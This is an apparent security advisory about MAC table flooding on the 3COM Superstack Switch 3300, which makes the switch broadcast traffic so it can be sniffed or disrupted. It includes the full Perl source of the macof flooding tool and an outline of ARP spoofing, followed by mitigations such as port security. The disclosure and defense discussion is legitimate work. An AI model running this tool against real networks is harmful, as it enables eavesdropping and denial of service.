COMMAND
	    3COM Superstack Switch
SYSTEMS AFFECTED
	    3COM Superstack Switch 3300
PROBLEM
	    Following is based on Infosec Security Vulnerability Report.   Due
	    to limitation  with ARP/MAC-tables;  switches could  start sending
	    packages to all ports, other network devices could hang, crash  or
	    reboot  if  they  receive  lots  of  MAC-addresses.  Someone could
	    eavesdrop/sniff  network  connections  over  a  switched  network.
	    Denial of  service attacks  on a  local network  is also possible.
	    This was tested on  3COM Superstack Switch 3300  (3c16981 Hardware
	    v.1 Software v.2.10).
	    Senario:
	    - Computer A talks with computer B
	    - Computer C is running macof
	    - Computer A, B and C are connected to the same 3com switch
	    When running macof from
	
	        http://quake.skif.net/RawIP/macof.html
	
	    a perl-program included in the perl-module Raw:IP
	
	        http://quake.skif.net/RawIP/
	
	    through  a  3com  Superstack  Switch  3300  (3c16981  Hardware v.1
	    Software v.2.10) the  switch starts to  send all network  packages
	    from computer A  to computer B  and computer C.   This problem  is
	    known as "Learning mode"  and is the state  the switch is in  when
	    it "learn"  how the  network  is  configurated.  What it   does is
	    simply to record what port each mac-address is responding.
	    At DefCon VI there were  discussions about switches.  Some  people
	    acquire  a  switch  because  you  could  not  eavesdrop  a network
	    connection  over  it.   Someone  told  that  if you send a special
	    multicast to a switch you  could spoof another switch and  thereby
	    should the switch  start sending you  network packages.   In these
	    attempts  Infosec  discovered  that  you  easily  could  spoof   a
	    MAC-address and thereby confuse a switch because the switch  tries
	    to remember which MAC-addresses is on each port.  Because of  some
	    network packages goes  to the spoofing  MAC you get  problems with
	    the connections (resends).   But what happens  if the switch  gets
	    flooded  with  MAC-addresses?   The   switch  just  has  a   bound
	    memory-space for the MAC-addresses on each port.  What happens  if
	    this table gets full?  After a few tests (with macof) Infosec  got
	    different results  depending on  the brand  of the  switch.   Some
	    switches  stopped  working  and  other  started to forward network
	    traffic to wrong  or all ports.   The only scientific  analysis is
	    this one reported.  This is a resource problem.
	    macof is just one way to do it.  Infosec thinks that the best  way
	    to eavesdrop a  connection over a  switch is to  spoof the default
	    router and send ARP-redirects  with your MAC-address as  ?changing
	    to?  and  route  the  incoming  packages  to  the  default routers
	    MAC-address.  Test program, macof:
	
	    #!/usr/bin/perl -w
	    #
	    # macof v. 1.1
	    # By Ian Vitek ( [email protected] )
	    # Tests network devices by flooding local network with MAC-addresses.
	    #
	    # Needs Net::RawIP (http://quake.skif.net/RawIP)
	    # Requires libpcap (ftp://ftp.ee.lbl.gov/libpcap.tar.Z)
	    #
	    # Example: ./macof -e <mac_of_def_gate> -n 1000000
	    #          ./macof -r -n 1000000
	    #          (run it several times)
	    #
	    # Warning: This program could cause serious problems on your network.
	    #          This program could hang, crash or reboot network devices.
	    #          Switches could start sending packages to all ports making it
	    #          possible to intercept network traffic.
	    #
	    #
	    require 'getopts.pl';
	    use Net::RawIP;
	    Getopts('hvrs:e:d:x:y:i:n:');
	    sub GenMAC
	    {
	      my $tmp_mac="00";
	      my $i=0;
	    # generate random mac-address
	      while($i++ < 5) {
	        $tmp_mac.=":" . sprintf("%x",int rand 16);
	        $tmp_mac.=sprintf("%x",int rand 16);
	      }
	      return($tmp_mac);
	    }
	    $a = new Net::RawIP;
	    die "usage: $0 [options]\
	    \t-d dest_host\t\t(def:random)\
	    \t-s source_host\t\t(def:random)\
	    \t-v \t\t\tprints generated mac-addresses\
	    \t-r | -e dest_mac \trandomize or set destination mac address\
	    \t\t\t\tshould be in format ff:ff:ff:ff:ff:ff or host\
	    \t-x source_port\t\t(def:random)\
	    \t-y dest_port \t\t(def:random)\
	    \t-i interface \t\tset sending interface \t\t(def:eth0)\
	    \t-n times\t\tset number of times to send \t(def:1)\
	    \t-h this help\n" unless ( !$opt_h && !($opt_r && $opt_e) );
	    # set default values
	    $opt_i=eth0 unless $opt_i;
	    $opt_n=1 unless $opt_n;
	    $s_host=$opt_s if $opt_s;
	    $d_host=$opt_d if $opt_d;
	    $s_port=$opt_x if $opt_x;
	    $d_port=$opt_y if $opt_y;
	    # choose network card
	    if($opt_e) {
	      $a->ethnew($opt_i, dest => $opt_e);
	    } else {
	      $a->ethnew($opt_i);
	    }
	    # Loop
	    for($times=0; $times < $opt_n; $times++) {
	    # Check if one or two mac-addresses should be generated
	      $mac=&GenMAC;
	      if($opt_r) {
	        $d_mac=&GenMAC;
	        print "$d_mac \t$mac\n" if($opt_v);
	    #   set mac-addresses
	        $a->ethset(source => $mac, dest => $d_mac);
	      } else {
	        print "$mac\n" if($opt_v);
	    #   set mac-address
	        $a->ethset(source => $mac);
	      }
	    # generate random source and destination ip-addresses
	      $s_host=17000000+int rand 4261000000 unless $opt_s;
	      $d_host=17000000+int rand 4261000000 unless $opt_d;
	    # generate random source and dest ports
	      $s_port=int rand 65535 unless $opt_x;
	      $d_port=int rand 65535 unless $opt_y;
	    # set network package
	      $a->set({ip => {saddr => $s_host, daddr => $d_host},
	               tcp => {source => $s_port, dest => $d_port}
	              });
	    # send
	      $a->ethsend;
	    }
	
	    The bridge designer faces two choices:
	
	      1. To flood packets when the filtering database fills.  Thus the
	         bridge  can  cope  with  larger  bridged networks than it was
	         originally designed for.
	      2. To refuse service to  addresses not already in the  filtering
	         database when the database fills.
	
	    IEEE 802.1d isn't much use in deciding which option is best.
SOLUTION
	    This doesn't  seem like  a major  issue, as  long as  PER PORT Mac
	    limit < x < y < PER SWITCH Mac limit and y-x is a reasonable size.
	    Since you can only generate  Mac addresses which will be  recorded
	    on the  port of  the switch  your attacking  box is  connected to,
	    you won't be able to overload the box entirely.
	    As a  workaround for  switches you  could maybe,  where available,
	    lock  a  MAC-address  to  every  port  on  the  switch.  Don't use
	    "learning mode" on the switch.  In  a secure environment  you know
	    most of  the needed  mac-addresses and  the rest  you should  know
	    anyway  so  you  do  not  need  "learning  mode".   But  is  it  a
	    limitation?   Yes.   The  switch  should  notice  that  a  port is
	    behaving very  strange and  disable it  (before it's  MAC-table is
	    flushed).   So,  fixes  are  to  activate  "port  security", which
	    deactivates a port  if its MAC  address changes.   This limits the
	    DoS to one machine, which  may still be worthwhile if  the machine
	    runs an attractive service.  It is costly to administer in a large
	    network.  Some switches have  a "trap on port MAC  address change"
	    option.  The port running the exploit will generate a huge  number
	    of traps, and suitable administrative action taken.  Networks with
	    trees  of  switches  will  see  multiple  traps  as  MAC addresses
	    changes, so this option is usually only enabled on switches at the
	    edge.